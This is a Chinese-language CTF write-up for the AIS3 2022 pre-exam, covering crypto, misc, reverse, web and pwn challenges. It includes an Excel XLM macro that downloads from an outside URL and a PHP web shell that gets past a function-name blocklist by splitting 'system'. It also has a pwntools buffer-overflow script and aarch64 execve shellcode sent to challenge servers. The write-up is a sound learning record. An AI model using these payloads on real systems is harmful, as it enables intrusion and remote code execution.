2022 AIS3 Pre-exam write-up


Information

ID gunjyo
Date 2022/05/14 10:30 - 2022/05/16 17:00
Rank 43(正取 AIS3)
Score 1970

Crypto

SC

打開 Cipher.py 可以很明顯看到是 Substitution cipher,所以只要把 flag.txt.enc 內的字拿去比對 cipher.py.enc 的位置,再對應到 cipher.py 就可以拿到 flag 了(善用 ctrl+F)
Flag AIS3{s0lving_sub5t1tuti0n_ciph3r_wi7h_kn0wn_p14int3xt_4ttack}

Fast Cipher


由於我們知道 flag 格式,我們可以從 'A' 推回 key
接著把 key 照 encrypt() 去跑前五位,能發現可以推得 AIS3{
因此只要跑完全部的 output 就能得到 flag 了

sol.py

M = 2**1024
def f(x):
    return (
        4 * x**4 + 8 * x**8 + 7 * x**7 + 6 * x**6 + 3 * x**3 + 0x48763
    ) % M

output = '6c0ec840f88d4cd7fcc6d5c6d1dafcc1cad7d0fcc2d1c6fcd6d0c6c7fccfcccfde'
output = bytes.fromhex(output)
 
fm = 'AIS3{' # format
key = (ord(fm[0]) ^ output[0] ) & 0xFF 
print('key=',key) # 45

for i in output:
    print(chr(i ^ (key & 0xFF)),end='')
    key = f(key)

Flag AIS3{not_every_bits_are_used_lol}

Misc

Excel

下載後在 Excel 內打開,首先取消隱藏所有工作表

isFki 可以看到一個方程式,上面標明了許多工作表裡面的儲存格,猜測是把那些儲存格內的東西接在一起

=FORMULA(mqLen!D14&Mment!BA10&coCGA!S17&coCGA!Q19&KRnsl!L19&Mment!F3&coCGA!G26&coCGA!O23&coCGA!P3&coCGA!K12&KRnsl!J19&KRnsl!C11&coCGA!N3&mqLen!E4&coCGA!D11&KRnsl!T5&JVHco!K10&mqLen!BA14&Mment!W1&KRnsl!U13&KRnsl!V9&mqLen!C12&KRnsl!J4&Mment!Y19&mqLen!K19&JVHco!F2&mqLen!K10&coCGA!Z15&mqLen!N21&Mment!N1&Mment!S2&coCGA!X2&Mment!D16&coCGA!U26&coCGA!R1&mqLen!V9&mqLen!R11&Mment!X1&coCGA!D5&KRnsl!Z19&mqLen!BA4&coCGA!Z9&coCGA!G7&mqLen!U10&Mment!U11&coCGA!G18&JVHco!V1&mqLen!O26&Mment!G5&KRnsl!H22&Mment!P10&JVHco!W17&Mment!F8&coCGA!L15&coCGA!H3&KRnsl!U17&KRnsl!BA11&coCGA!X12&KRnsl!F14&Mment!B10&KRnsl!V12&Mment!U12&coCGA!P14&coCGA!Y1&JVHco!B10&JVHco!F16&KRnsl!Q26&Mment!P25&KRnsl!M3&KRnsl!I26&mqLen!L15&mqLen!V25&KRnsl!G2&Mment!I18&Mment!M4&KRnsl!C7&JVHco!N5&KRnsl!M19&Mment!J9&Mment!I7&coCGA!G13&KRnsl!M12&mqLen!X2&mqLen!M1&JVHco!P3&KRnsl!S12&Mment!U10&JVHco!D16&mqLen!P17&KRnsl!I5&coCGA!W24&JVHco!E10&Mment!B8&coCGA!C14&JVHco!Z15&Mment!BA11&coCGA!F19&KRnsl!Z2&JVHco!D13&Mment!O2&KRnsl!D19&Mment!K19&Mment!U20&JVHco!Q9&KRnsl!I17&coCGA!X17&JVHco!Q24&KRnsl!Q4&coCGA!N21&coCGA!W11&JVHco!E17&mqLen!H19&KRnsl!X6&coCGA!N26&coCGA!N18&KRnsl!Q17&JVHco!J25&KRnsl!Z16&mqLen!P13&coCGA!Z21&JVHco!C24&Mment!X19&Mment!O21, A137)

在 Microsoft 的文章(將兩個或多個儲存格內的文字合併至一個儲存格) 中可以看到合併文字的方法 : 利用 &" "&連接儲存格位置(善用搜尋取代)

=mqLen!D14&" "&Mment!BA10&" "&coCGA!S17&" "&coCGA!Q19&" "&KRnsl!L19&" "&Mment!F3&" "&coCGA!G26&" "&coCGA!O23&" "&coCGA!P3&" "&coCGA!K12&" "&KRnsl!J19&" "&KRnsl!C11&" "&coCGA!N3&" "&mqLen!E4&" "&coCGA!D11&" "&KRnsl!T5&" "&JVHco!K10&" "&mqLen!BA14&" "&Mment!W1&" "&KRnsl!U13&" "&KRnsl!V9&" "&mqLen!C12&" "&KRnsl!J4&" "&Mment!Y19&" "&mqLen!K19&" "&JVHco!F2&" "&mqLen!K10&" "&coCGA!Z15&" "&mqLen!N21&" "&Mment!N1&" "&Mment!S2&" "&coCGA!X2&" "&Mment!D16&" "&coCGA!U26&" "&coCGA!R1&" "&mqLen!V9&" "&mqLen!R11&" "&Mment!X1&" "&coCGA!D5&" "&KRnsl!Z19&" "&mqLen!BA4&" "&coCGA!Z9&" "&coCGA!G7&" "&mqLen!U10&" "&Mment!U11&" "&coCGA!G18&" "&JVHco!V1&" "&mqLen!O26&" "&Mment!G5&" "&KRnsl!H22&" "&Mment!P10&" "&JVHco!W17&" "&Mment!F8&" "&coCGA!L15&" "&coCGA!H3&" "&KRnsl!U17&" "&KRnsl!BA11&" "&coCGA!X12&" "&KRnsl!F14&" "&Mment!B10&" "&KRnsl!V12&" "&Mment!U12&" "&coCGA!P14&" "&coCGA!Y1&" "&JVHco!B10&" "&JVHco!F16&" "&KRnsl!Q26&" "&Mment!P25&" "&KRnsl!M3&" "&KRnsl!I26&" "&mqLen!L15&" "&mqLen!V25&" "&KRnsl!G2&" "&Mment!I18&" "&Mment!M4&" "&KRnsl!C7&" "&JVHco!N5&" "&KRnsl!M19&" "&Mment!J9&" "&Mment!I7&" "&coCGA!G13&" "&KRnsl!M12&" "&mqLen!X2&" "&mqLen!M1&" "&JVHco!P3&" "&KRnsl!S12&" "&Mment!U10&" "&JVHco!D16&" "&mqLen!P17&" "&KRnsl!I5&" "&coCGA!W24&" "&JVHco!E10&" "&Mment!B8&" "&coCGA!C14&" "&JVHco!Z15&" "&Mment!BA11&" "&coCGA!F19&" "&KRnsl!Z2&" "&JVHco!D13&" "&Mment!O2&" "&KRnsl!D19&" "&Mment!K19&" "&Mment!U20&" "&JVHco!Q9&" "&KRnsl!I17&" "&coCGA!X17&" "&JVHco!Q24&" "&KRnsl!Q4&" "&coCGA!N21&" "&coCGA!W11&" "&JVHco!E17&" "&mqLen!H19&" "&KRnsl!X6&" "&coCGA!N26&" "&coCGA!N18&" "&KRnsl!Q17&" "&JVHco!J25&" "&KRnsl!Z16&" "&mqLen!P13&" "&coCGA!Z21&" "&JVHco!C24&" "&Mment!X19&" "&Mment!O21

就可以得到下列的結果,把 space 去掉後就有 flag 了

= C A L L ( " u r l m o n " , " U R L D o w n l o a d T o F i l e A " , " J J C C B B " , 0 , " h t t p : / / a i s 3 . o r g / ? A I S 3 { X L M _ i S _ t o 0 _ o 1 d _ b u t _ c o 0 o 0 o 0 0 o l l l ! ! } " , " . \ ~ t m p . t x t " , 0 , 0 )

Flag AIS3{XLM_iS_to0_o1d_but_co0o0o00olll!!}

Gift in the dream

下載後得到一個 gif,先看一下詳細的內容
exiftool gift_in_the_dream_updated.gif

從 comment 看到 why is the animation lagging? why is the duration so weird? is this just a dream?
猜想跟時間間隔有關係,因此用 identify 去看,發現第一個間隔(65)很眼熟(‘A’),於是將每個間隔當成 ascii 換成 chr
identify -format "%T " gift_in_the_dream_updated.gif

s = [65,73,83,51,123,53,84,51,103,52,110,48,103,82,52,112,72,121,95,99,52,78,95,98,51,95,102,85,110,95,115,48,109,51,55,105,77,101,125,1,1,1,1,1,1,1,1,1,1,1]

for i in s:
    print(chr(i),end='')

Flag AIS3{5T3g4n0gR4pHy_c4N_b3_fUn_s0m37iMe}

Knock


將 token 輸入後會得到

用 Wireshark 去錄 Knock 後出現的東西,一樣看到了眼熟的65(A),於是將數字當成 ascii 換成 chr

s = [65,73,83,51,123,107,110,48,99,107,75,78,79,67,75,107,110,111,99,107,125]

for i in s:
    print(chr(i),end='')

Flag AIS3{kn0ckKNOCKknock}

Reverse

Time Management

IDA Pro 看一下 main

我們有 secret[]key[],所以只要照著把 v4 推出來就可以了

#include <bits/stdc++.h>
using namespace std;

int main(){
    int secret[25]={861096257,1, 1869572219,9,1601790322,5,1769108595,6,1601398638,8,1633645417,11,2036430700,7,1851875187,2,1702065503,4,1600943462,0,1835888483,10,2103733857,3};
    int key[15]={973148161,0,822358554,4542272,69014578,973799469,203030572,222171395,739379761,436220160,1280056077,1043142173};
    int res;
    for (int i = 0; i <= 23; i += 2 ){
        res = secret[i] ^ key[secret[i + 1]];
        for (int j = 0; j <= 3; ++j ){
            printf("%c", res);
            res >>= 8;
        }
    }
}

Flag AIS3{You_are_the_master_of_time_management!!!!!}

Calculator

和去年一樣是 Net 相關題
dnSpy 打開 AIS3*dll 檔案們,可以在框起來的幾個檔案中看到很多條件,將他們整理一下

# AIS3
#       012345678901234
# r = 'AIS3{'
ary = [30, 4, 100]
'''check
len(r)=45
r[14]='A' r[3]='{'
'''
#012
for i in range(3):
    print(i,chr(ary[i]^ord('W')))

# AIS33
#     01234567890123456789012345678901234567890
#r = 'D                                    G_G}'
ary1 = [5,29,5]
'''check
len(r)=41
r[0]='D'
r[40]='}'
for i in range(3):
    (int)(right[37 + i] ^ 'B') != array[i])
'''
# 37 38 39    
for i in range(3):
    r[37+i] = chr(ary1[i]^ord('B'))


# AIS333
#      012345678901234567890123456789012345
# r = '0T_N3T_FRAm3W0rk                  __
ary2 = [10, 110, 101, 116, 9, 110, 101, 124, 104, 123, 87, 9, 109, 10, 72]
'''check
len(r)=36
r[35]=r[34]='_'
r[15]='k'
'''
# 0-14
for i in range(15):
    print(chr(ary2[i]^ord(':')),end='')

# AIS3333
#      012345678901234567
# r = '_15_S0_C0mPlicaT3d
ary3 = [9,52,8,13,7,5,48,87,0]
'''check
len(r)=18
int num = int.Parse(this._calculator.Calculate("1+" + right.Substring(1, 2)));
if (num != 16) -> 1+(r[1]+r[2])==16? or 1+(r[1]r[2])==16? -> r[1:3] == `15` ?
'''
for i in range(9):
    print(chr(ary3[i]^ord('d')),end='')

整合以上的 dll 中得到的訊息

      012345678901234
r = 'AIS3{'
     01234567890123456789012345678901234567890
r = 'D                                    G_G}'
     012345678901234567890123456789012345
r = '0T_N3T_FRAm3W0rk  
     012345678901234567
r = '_15_S0_C0mPlicaT3d

(第一句當首,第二句涵蓋尾,第三句 NET 前可能有 DOT,將它和第二句接起來;第四句剛好能放進剩餘的空格內)
Flag AIS3{D0T_N3T_FRAm3W0rk_15_S0_C0mPlicaT3d__G_G}'

Web

Poking Bear

Poke the SECRET BEAR!


Ice Bear 在 bear/350
Tasty Bear 在 bear/777
那 Secret Bear 大概率在 350~777 中,於是就慢慢試…
直到 bear/499 出現了 Secret Bear

它叫我們 Human ,然後它說我們要是 bear poker 才能戳到 Secret Bear
按下 Poke 後,它會顯示

看一下 Cookie ,它顯示我們是 Human

Value 改成 bear pokerPoke 一次就能得到 flag 了

Flag AIS3{y0u_P0l<3_7h3_Bear_H@rdLy><}

Simple File Uploader

我們可以上傳檔案,題目也給了 Source Code

if(in_array($file_ext, ['php', 'php2', 'php3', 'php4', 'php5', 'php6', 'phtml', 'pht'])) {
        die('p...php ?? (((゚Д゚;)))');
    }

首先會擋掉以上的副檔名,但是沒有限制到大寫,所以可以 PHP,Php,pHp…隨便組合

$is_bad = false;
$data = strtolower($file_content);

    if (strpos($data, 'system') !== false) {
        $is_bad = true;
    } else if (strpos($data, 'exec') !== false) {
        $is_bad = true;
    } else if (strpos($data, 'passthru') !== false) {
        $is_bad = true;
    } else if (strpos($data, 'show_source') !== false) {
        $is_bad = true;
    } else if (strpos($data, 'proc_open') !== false) {
        $is_bad = true;
    } else if (strpos($data, 'popen') !== false) {
        $is_bad = true;
    } else if (strpos($data, 'pcntl_exec') !== false) {
        $is_bad = true;
    } else if (strpos($data, 'eval') !== false) {
        $is_bad = true;
    } else if (strpos($data, 'assert') !== false) {
        $is_bad = true;
    } else if (strpos($data, 'die') !== false) {
        $is_bad = true;
    } else if (strpos($data, 'shell_exec') !== false) {
        $is_bad = true;
    } else if (strpos($data, 'create_function') !== false) {
        $is_bad = true;
    } else if (strpos($data, 'call_user_func') !== false) {
        $is_bad = true;
    } else if (strpos($data, 'preg_replace') !== false) {
        $is_bad = true;
    } else if (strpos($data, 'scandir') !== false) {
        $is_bad = true;
    }

    if($is_bad) {
        die('You are bad ヽ(#`Д´)ノ');
    }

data 內容會先被換成小寫,所以改大寫沒有用
但我們可以把 system 拆開來再合併
sol.pHp

<?php
    $s1 = 'syst';
    $s2 = 'em';
    $s = $s1.$s2;
    echo $s($_GET["cmd"]);
?>

傳上去後先 ls

http://chals1.ais3.org:8988/uploads/bfefb4555ce483abe22aaa6a35057023/ea8676c576aa13bfaea3d726dc0590f7.pHp?cmd=ls

裡邊沒有跟 flag 有關的

看一下根目錄

http://chals1.ais3.org:8988/uploads/bfefb4555ce483abe22aaa6a35057023/ea8676c576aa13bfaea3d726dc0590f7.pHp?cmd=ls /

裡面有一個 rUn_M3_t0_9et_fL4g

所以跑一下

http://chals1.ais3.org:8988/uploads/bfefb4555ce483abe22aaa6a35057023/ea8676c576aa13bfaea3d726dc0590f7.pHp?cmd=/rUn_M3_t0_9et_fL4g

Flag AIS3{H3yyyyyyyy_U_g0t_mi٩(ˊᗜˋ*)و}

PWN

BOF2WIN

Buffer Overflow
Offset : 16 + 8 = 24

要進到 get_the_flag() ,看一下 address

script

from pwn import *

#r = process('./bof2win')
r = remote('chals1.ais3.org', 12347)

r.recvline()

r.sendline(b'a'*24 + p64(0x00401216)) 

r.interactive()

Flag AIS3{Re@1_B0F_m4st3r!!}

Give Me SC

mprotect(buf, 0x1000, PROT_READ | PROT_WRITE | PROT_EXEC);

從這可以看到執行權限是開著的
它會返回到 bss 端執行 shellcode,所以我們把 shellcode 傳進去然後執行
shellcode 來源

from pwn import *

r = remote('chals1.ais3.org',15566)

r.recvline()
r.sendline('aaaaaaaaaaaaaaa')

payload =  "\xe1\x45\x8c\xd2\x21\xcd\xad\xf2\xe1\x65\xce\xf2\x01\x0d\xe0\xf2"
payload += "\xe1\x8f\x1f\xf8\xe1\x03\x1f\xaa\xe2\x03\x1f\xaa\xe0\x63\x21\x8b"
payload += "\xa8\x1b\x80\xd2\xe1\x66\x02\xd4"

r.recvline()
r.sendline(payload)

r.interactive()
ls
cd home
ls
cat flag

Flag AIS3{Y0uR_f1rst_Aarch64_Shellcoding}


Author: Gunjyo
Reprint policy: All articles in this blog are used except for special statements CC BY 4.0 reprint policy. If reproduced, please indicate source Gunjyo !
  TOC